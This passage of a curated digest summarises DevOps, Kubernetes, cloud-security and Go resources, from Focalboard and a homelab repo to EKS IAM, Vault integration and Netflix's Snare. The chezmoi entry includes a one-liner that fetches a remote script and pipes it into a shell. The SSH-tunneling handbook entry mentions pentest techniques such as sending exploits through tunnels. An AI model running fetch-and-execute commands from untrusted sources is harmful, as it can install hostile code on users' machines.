    • Source caveat: Product details are based on Swimm’s own blog and docs pages found through web search, not the current homepage.

    Takeaway: The idea is still useful: put docs in the repo, reference real code, and fail CI when the referenced code changes. Check the vendor’s current offering before relying on this product.

  • focalboard: Open Source, Self-Hosted Alternative to Trello, Notion, and Asana
    summary

    TL;DR: Focalboard is an open-source, self-hosted project management tool from Mattermost, positioned as an alternative to Trello, Notion and Asana. The standalone repo is now unmaintained.

    • Status: The README warns the repository is not currently maintained and asks for volunteer maintainers. The URL now redirects to mattermost-community/focalboard.
    • Plugin split: The Mattermost-integrated boards live in mattermost/mattermost-plugin-boards; this repo is standalone Focalboard only.
    • Editions: Personal Desktop (single-user apps for macOS, Windows and Linux) and Personal Server (multi-user, for development and personal use).
    • Running the server: make prebuild, make, ./bin/focalboard-server, then browse to http://localhost:8000; the port is set in config.json.
    • Features: Multilingual boards to define, organise, track and manage work, plus a Boards API with Swagger docs.

    Takeaway: Fine for a personal kanban, but an unmaintained repo is a risk for team use. Prefer the Mattermost plugin or another actively maintained tool.

  • homelab: Self-Hosted Infrastructure, Fully Automated from Empty Disk to Operating Services
    summary

    TL;DR: Khue Doan’s homelab repo automates a self-hosted Kubernetes setup from empty disks to running services with infrastructure as code and GitOps, and can be used as a framework for your own lab.

    • Status: Marked ALPHA; the author runs nothing critical on it and warns of breaking changes that may require full redeployment.
    • Hardware: 4 NEC SFF PCs (ThinkCentre M700 equivalent, i5-6600T, 16GB RAM, 128GB SSD) and a TP-Link TL-SG108 gigabit switch.
    • Provisioning: PXE-boot bare-metal installs of Fedora Server via Ansible, then K3s.
    • GitOps and networking: ArgoCD for apps; Cilium with Hubble for networking and observability.
    • Features: Automated certs and DNS, Tailscale or WireGuard VPN, Cloudflare Tunnel, CI/CD, a private registry, distributed storage, monitoring, backups, and rolling OS and Kubernetes upgrades.
    • Apps: Gitea, Jellyfin, Paperless and others; documentation at homelab.khuedoan.com.

    Takeaway: A well-structured reference for a fully automated homelab. Borrow the PXE, Ansible, K3s and ArgoCD layering even if you do not fork the whole thing.

  • the_cyber_plumbers_handbook: Definitive Guide to SSH Tunneling and Port Redirection
    summary

    TL;DR: The Cyber Plumber’s Handbook, by opsdisk, is a free PDF book on SSH tunneling, port redirection and SOCKS proxying with practical, pentest-flavoured examples. It was first sold in October 2018.

    • Basics: Local and remote SSH port forwards, SOCKS proxies and port redirection.
    • Tooling: Using tunnels with proxychains, nmap, Metasploit and web browsers.
    • Advanced: SSHing through 4 jump boxes, sending exploits through tunnels, and Meterpreter portfwd.
    • License: Creative Commons non-commercial; latest PDF cph_version_1.4_20210829.pdf.
    • Paid lab: An optional Lab Guide with 45+ exercises and 28 days of access to a live lab (4 jump boxes, internal SSH, web and RDP targets); 75% student discount.
    • Lab requirements: A Linux host, preferably Kali; Windows access is untested.

    Takeaway: A concise, practical reference for SSH forwarding that is useful well beyond pentesting. The free PDF is enough for most ops and bastion work.

  • DevOps-The-Hard-Way-AWS: DevOps the Hard Way on AWS
    summary

    TL;DR: AdminTurnedDevOps’ free lab series for building a real-world style DevOps environment on AWS: containerising a sample Uber Python app and deploying it to EKS with Terraform and GitHub Actions.

    • Scenario: A monolithic, bare-metal organisation with manual deploys needs modernising; you deploy, you do not write, the app (adapted for Python 3).
    • Terraform: S3 bucket for state, an ECR repository, and an EKS cluster with VPC.
    • Containers: Build a Docker image and push it to ECR, then run it on EKS.
    • CI/CD and testing: GitHub Actions to create the EKS cluster; Checkov to test the Terraform.
    • Observability: Logs, traces, metrics and monitoring for the cluster and app.
    • Format: Step-by-step Markdown labs with prerequisites and AWS credential setup.

    Takeaway: A decent guided project for juniors learning the AWS, Terraform, EKS and GitHub Actions path end to end. Expect to update versions as you go.

  • IAM on EKS Done Right
    summary

    TL;DR: NextLink Labs explains how to give people access to an EKS cluster with AWS IAM: assumable admin and developer roles mapped into Kubernetes through the aws-auth ConfigMap.

    • Creator role tip: Create the cluster with a role others can assume, because EKS maps key permissions to the creating identity.
    • IAM setup (no SSO): aws iam create-role for eks-admin-role and eks-developer-role, assume-role policies, groups eks-admin-group and eks-developer-group via put-group-policy, then add-user-to-group.
    • With SSO: Users assume the same roles through SSO instead of IAM groups.
    • aws-auth mapping: Map role ARNs to Kubernetes groups in aws-auth, with node roles in system:bootstrappers and system:nodes. Configure it through the Terraform EKS module or eksctl.
    • RBAC: Bind the mapped groups with ClusterRole and RoleBinding objects for scoped developer access.

    Takeaway: Use roles, not individual IAM users, in aws-auth, and keep the cluster creator identity break-glass only. On current EKS, evaluate access entries instead of hand-editing the ConfigMap.

  • Comparing Two Methods for Integrating Vault with Kubernetes
    summary

    (Could not fetch full text.)

    TL;DR: Nico Kabar (HashiCorp, January 2022) compares the two supported ways to get Vault secrets into Kubernetes pods: the Vault Agent sidecar injector and the Vault CSI provider.

    • Sidecar injector: A mutating webhook (vault-k8s) adds a Vault Agent container that renders secrets into a shared in-memory tmpfs volume. It supports all Vault auto-auth methods, plus templating and caching.
    • CSI provider: A DaemonSet on every node uses SecretProviderClass objects and the pod’s service account to mount secrets into an ephemeral CSI volume during container creation. It supports only Kubernetes auth and uses hostPath, which some platforms such as OpenShift disable by default.
    • Projection differences: The post says CSI can render into Kubernetes Secrets and env vars, while the injector cannot create Kubernetes Secrets and reaches env vars only via Agent templating.
    • Shared traits: No app code changes, all secrets engines, the service account token as “secret zero”, Vault roles instead of Kubernetes RBAC, Helm deployable, secrets fetched before pod start, auto-renewal.
    • Design checklist: Secret projection, scope, types, definition, encryption, governance, rotation, caching, auditability.
    • Source caveat: The live page returned a Vercel bot check. This summary is based on a Wayback Machine copy.

    Takeaway: Pick the injector when you need Agent features (templating, caching, non-Kubernetes auth). Pick CSI when you want a lighter per-node driver or synced Kubernetes Secrets, provided hostPath is allowed.

30.12.2021

  • csp_security_mistakes: Security Mistakes by Cloud Service Providers (AWS, GCP, Azure)
    summary

    TL;DR: Scott Piper’s (Summit Route) list of public security mistakes made by cloud providers themselves (AWS, GCP, Azure) on their side of the shared responsibility model. It has been replaced by cloudvulndb.org.

    • Status: The README says the repo is replaced by https://www.cloudvulndb.org/; report new issues there.
    • Scope: CVEs, bug bounty findings and provider-side issues; business decisions such as launching without CloudTrail support are generally excluded.
    • Fields per entry: Summary, platform, the author’s severity opinion, date, discoverer, customer action and references.
    • Coverage: About 54 entries, roughly 36 AWS, 11 Azure and 6 GCP by platform tag, e.g. GCP default compute account as Editor, AWS SigV1, ALB request smuggling, Azure ChaosDB, Azurescape, OMIGOD, AWS BreakingFormation, SuperGlue and Synlapse.
    • Motivation: Keep a record and hold providers accountable, since MITRE generally has not issued CVEs for cloud-side flaws. Also notes concerns about AWS pentest restrictions.
    • Related work: Credits Wiz’s call for a cloud vulnerability database and Christophe Parisel’s “Piercing Index”.

    Takeaway: Use cloudvulndb.org for current tracking. The “customer action” field is what to check when deciding whether a provider bug needs any response from you.

  • Snaring the Bad Folks: SNARE, Netflix Automated Security Solution
    summary

    (Could not fetch full text.)

    TL;DR: Netflix’s Cloud Infrastructure Security team (Alex Bainbridge, Mike Grima, Nick Siow) describes Snare, their in-house detection, enrichment, reporting and remediation platform for cloud security findings.

    • Scale: Processes tens of millions of log records per minute for in-house custom detections.
    • Sources: AWS Security Hub, AWS Config Rules, GuardDuty and vendor tools, plus custom detections. Findings are aggregated through AWS Organizations and EventBridge rules in every region and account.
    • Enrichment and triage: Findings are enriched with Netflix’s internal metadata, checked against suppression rules, then auto-remediated or sent to on-call via Slack and a Snare UI.
    • Results: An average 73.5% reduction in false-positive volume after tuning and aggregation, and more than double the number of in-house detections.
    • Remediation: AWS Step Functions run a 4-step flow (pre-processing, decision, remediation, post-processing), with wait and task-token stages for human approval, e.g. enabling S3 Public Access Block.
    • Lesson: Home-grown context and metadata are key to cutting false positives and setting severities.
    • Source caveat: Medium returned a block page for the live URL. This summary is based on a Wayback Machine copy.

    Takeaway: The reusable pattern is to centralize Security Hub findings via EventBridge, enrich them with your own asset context, and use Step Functions with human-approval steps for remediation.

  • Running AWS PCI DSS with CloudQuery Policies
    summary

    TL;DR: Yevgeny Pats (CloudQuery co-founder) shows how to run CloudQuery’s open-source AWS PCI DSS v3.2.1 policy pack: SQL queries over AWS asset data that CloudQuery fetches into PostgreSQL. The page now notes that HCL policies are deprecated.

    • Deprecation: A banner states HCL policies were deprecated and points to current policy docs, so the commands shown are outdated.
    • Policy content: More than 40 checks, split into per-service sub-policies, with SQL kept in separate files for reuse, e.g. by CIS policies.
    • Example check: autoscaling_groups_elb_check flags Auto Scaling groups attached to load balancers whose health_check_type is not ELB.
    • Workflow at the time: brew install cloudquery/tap/cloudquery, run Postgres in Docker, fetch assets, then cloudquery policy run aws//pci_dss_v3.2.1, or a single section such as .../autoscaling/1.
    • Output: --output-dir=results writes JSON for downstream alerting.

    Takeaway: The idea of compliance checks as SQL over a cloud asset inventory still works. Use CloudQuery’s current policy and transformation docs rather than these HCL commands.

  • GitOps on Kubernetes: Deciding Between Argo CD and Flux
    summary

    TL;DR: Christian Hernandez (Red Hat-sponsored post, December 2021) compares Argo CD and Flux, the two CNCF GitOps projects, covering what they share and where they differ.

    • Status then: Both were CNCF incubating. The post lists 30 public references and about 14 contributing companies for Flux, against 176 references and about 90 companies for Argo CD.
    • Similarities: Secret encryption support, webhook receivers, alerting and notifications, and image update automation (Flux Image Update Automation, Argo CD Image Updater).
    • Bootstrapping: Flux bootstraps itself into a GitHub or GitLab repo and hands off to in-cluster controllers; Argo CD has no native bootstrap.
    • Reconciliation: Flux intervals are set per component; Argo CD uses a global setting (default 3 minutes).
    • Delivery: Flux renders everything through Kustomize and uses the Helm Go library, so helm ls works. Argo CD runs kubectl apply style, with sync waves, and renders Helm templates itself, so helm ls shows nothing.
    • UI and RBAC: Flux has no official UI and relies purely on Kubernetes RBAC. Argo CD has a rich UI plus its own granular ACL RBAC and users, with OIDC or Dex integration.

    Takeaway: Choose Flux if you want Kubernetes-native RBAC and Helm compatibility, and Argo CD if you want a UI and app-level multi-tenant access control. The adoption figures are from 2021.

  • What Happens After Kubernetes Upgrade to 1.24 (Dockershim Removal)
    summary

    TL;DR: Jim Angel tests the Kubernetes v1.24 dockershim removal ahead of release: he builds a kubeadm single-node v1.23 cluster on Docker, upgrades to a v1.24 alpha, watches kubelet fail, and switches to containerd. The page is now titled “Upgrade gotchas for Kubernetes v1.24”.

    • Why 1.24 matters: dockershim lived inside kubelet’s codebase from before CRI existed, and 1.24 removes it.
    • Who is affected: Mainly users of upstream open-source Kubernetes; many cloud providers already used a non-Docker CRI.
    • Baseline: Ubuntu 20.04, kubeadm v1.23.0 and Calico. The first run failed until kubelet and Docker used the systemd cgroup driver, a v1.22+ change.
    • Pre-release testing: Builds Debian packages from kubernetes/release to install v1.24 alphas.
    • Failure seen: failed to run Kubelet: using dockershim is not supported, please consider using a full-fledged CRI implementation.
    • Fix: Configure containerd and point kubelet at --container-runtime-endpoint=unix:///run/containerd/containerd.sock, ending at v1.24.0-alpha.1 Ready. Introduces ctr as the containerd CLI.

    Takeaway: Historical now, but the method still applies: test the next minor release on a throwaway kubeadm node using alpha packages before your upgrade window.

  • Darker Corners of Go
    summary

    (Could not fetch full text.)

    TL;DR: Rytis Biel’s long guide to Go’s surprising behaviours and traps, aimed at experienced programmers who know Go syntax but not its pitfalls. It is also available as an ebook and a printed book.

    • Formatting and imports: gofmt, opening brace placement, trailing commas, unused, underscore and dot imports, goimports.
    • Variables and operators: Short declarations and variable shadowing, operator precedence, no ternary operator, iota.
    • Slices and strings: Copying slices, append growth, nil slices, make traps, retained backing arrays; immutable strings, string vs []byte, runes and UTF-8 length.
    • Maps and loops: Random iteration order, maps as pointers, non-addressable values, data races and sync.Map; reused for-loop iterator variables, labeled break/continue.
    • Goroutines and interfaces: Running goroutines do not keep main alive, and one panicking goroutine crashes the app. Covers nil interface checks, implicit satisfaction and wrong type assertions.
    • Other topics: Embedding vs redefining types, equality and uncomparable types, pass-by-value vs pointer, logging and time.
    • Source caveat: The live site returned an empty response. This summary is based on a Wayback Machine copy of the post.

    Takeaway: A good reading list for Go code reviewers. The loop-variable section predates Go 1.22, which changed per-iteration loop variable semantics, so check your Go version.

  • On Go Application Structure
    summary

    TL;DR: A Changelog post argues there is no copy-paste Go project layout. Structure should follow your application’s contexts, illustrated with his Go courses web app.

    • Core claim: Good structure isolates work and decouples components; over-complex structure hurts more than it helps.
    • Peter Bourgon quote: Go project structure is idiomatically different from project to project, unlike frameworks in Ruby and similar languages.
    • Contexts first: He splits the app into student and admin packages, each with its own Lesson type. The student view has video URLs and CompletedAt; the admin view has video provider, repo info and permission strings.
    • Other patterns: Discusses a core domain with services implemented by layers, and his experiments with a single flat package.
    • Beginner advice: Using familiar MVC is acceptable when you lack experience. It never gives the clarity of a tailored structure, but it lets you ship and learn.
    • Title note: The page title now reads “Thoughts on how to structure Go code”.

    Takeaway: Start from the bounded contexts of your app and let packages mirror them, rather than importing a generic cmd/pkg/internal template. Refactor as your understanding grows.

  • The Busy Developer’s Guide to Go Profiling, Tracing and Observability
    summary

    TL;DR: Datadog’s (author felixge) “Busy Developer’s Guide to Go Profiling, Tracing and Observability”, a practical, work-in-progress guide to Go’s built-in profilers and the runtime internals behind them.

    • Mental model: Covers the goroutine scheduler, the garbage collector, and stack versus heap allocation as the background needed to read profiles.
    • CPU profiler: The OS sends SIGPROF for every 10ms of CPU time consumed. Covers labels, CPU utilisation, syscalls in profiles and limitations.
    • Memory profiler: Allocs vs heap profiles, sampling via runtime.MemProfileRate (set once, early in main()), and in-use vs RSS. It shows where allocations were made, not what keeps them alive.
    • Block and mutex profilers: Enable with runtime.SetBlockProfileRate, how the two differ, and their limitations.
    • Other profilers: Goroutine and ThreadCreate profiles, plus advanced sections on stack traces and the pprof format.
    • Status: Marked as a work in progress; some sections were planned but not yet written.

    Takeaway: Read the limitations sections before trusting a profile; they explain most misleading pprof results. Bookmark it for setting sampling rates in production services.

  • Rundown of Netflix’s SRE Practice
    summary

    (Could not fetch full text.)

    TL;DR: Ash P. (Cruform/five9s newsletter, August 2021) summarises how site reliability engineering is organised at Netflix. The Substack now shows only a teaser, and the full post has moved to SREpath.com.

    • Scale cited (2016): 100,000 instances at peak on AWS, 700+ microservices and over 30 Tbps of Internet traffic.
    • Team: Netflix’s SRE team is called CORE (Cloud Operations Reliability Engineering) and sits within Operations Engineering.
    • Adjacent roles: SREs work alongside specialists such as performance engineers and chaos engineers.
    • Culture: Netflix’s “freedom and responsibility” culture is described as key to effective SRE work.
    • Naming note: Netflix job postings expand CORE differently, e.g. “Critical Operations and Reliability Engineering”.
    • Source caveat: Only the teaser was available on Substack, which links to SREpath.com for the rest; details beyond these points were not verified.

    Takeaway: A short, secondary overview and not a primary source. For depth, read Netflix Tech Blog posts on CORE, chaos engineering and incident practice directly.

  • mizu: API Traffic Viewer for Kubernetes, Think tcpdump for Kubernetes
    summary

    TL;DR: Mizu was UP9’s API traffic viewer for Kubernetes (“tcpdump for Kubernetes”). The repo now redirects to Kubeshark, its successor, which indexes cluster-wide traffic with eBPF.

    • Repo moved: github.com/up9inc/mizu now resolves to kubeshark/kubeshark, and the README describes Kubeshark, not Mizu.
    • Capture: Indexes cluster-wide network traffic at the kernel level using eBPF and answers queries using network, API and Kubernetes semantics.
    • PCAPs: Retrospective cluster-wide packet captures filtered by node, time, workload and IP, with long-term retention.
    • TLS: Decrypts TLS/mTLS traffic via eBPF without key management or sidecars.
    • Install: helm repo add kubeshark https://helm.kubeshark.com, helm install kubeshark kubeshark/kubeshark, then kubectl port-forward svc/kubeshark-front 8899:80. An ingress is recommended for production.
    • AI integration: Exposes traffic data over MCP, e.g. claude mcp add kubeshark -- kubeshark mcp.

    Takeaway: Use Kubeshark for debugging inter-service API calls in a cluster. Treat its plaintext TLS visibility as sensitive and restrict who can access the dashboard.

  • pleco: Automatically Remove Cloud Managed Services and Kubernetes Resources by TTL Tags
    summary

    TL;DR: Pleco, from Qovery, is a garbage collector that deletes cloud and Kubernetes resources once their ttl tag expires, while a do_not_delete tag protects resources. Qovery uses it in its own production environment.

    • Providers: Kubernetes (namespaces), AWS, Scaleway, DigitalOcean, GCP and Azure.
    • AWS coverage: DocumentDB, ElastiCache, RDS (databases, subnet and parameter groups, snapshots), EBS, ELB, EC2 key pairs, ECR, EKS, IAM users, groups, roles, policies and OIDC providers, CloudWatch logs, KMS keys, VPCs and more.
    • Safety: Runs in dry-run by default. Deletion needs --disable-dry-run/-y; do_not_delete=true, ttl=0, malformed labels and negative TTLs block deletion.
    • Usage: pleco start aws --level debug -i 240 -a eu-west-3 ... -y, with per-resource flags; similar for scaleway and do.
    • Packaging: A Helm chart on Artifact Hub and a Docker image qoveryrd/pleco.

    Takeaway: Useful for cleaning up ephemeral preview and test environments. Start in dry-run mode in a non-production account and tag anything long-lived do_not_delete first.

  • chezmoi: Dotfile Manager
    summary

    TL;DR: chezmoi, by twpayne, manages dotfiles securely across multiple diverse machines from one source repo; documentation is at chezmoi.io.

    • Templates: Handle per-machine differences such as OS, hostname or work vs personal.
    • Secrets: Integrates with password managers so secrets stay out of the dotfiles repo.
    • Encryption: Encrypts whole files with age, gpg, git-crypt or transcrypt.
    • Distribution: A single statically linked binary with no dependencies that does not need root, for all popular operating systems.
    • Bootstrap: sh -c "$(curl -fsLS https://get.chezmoi.io)" -- init --apply $GITHUB_USERNAME installs it and applies your dotfiles in one step.
    • License: MIT.

    Takeaway: A strong choice when the same dotfiles must work on several machines. Keep secrets in the password manager integration rather than encrypted blobs where you can.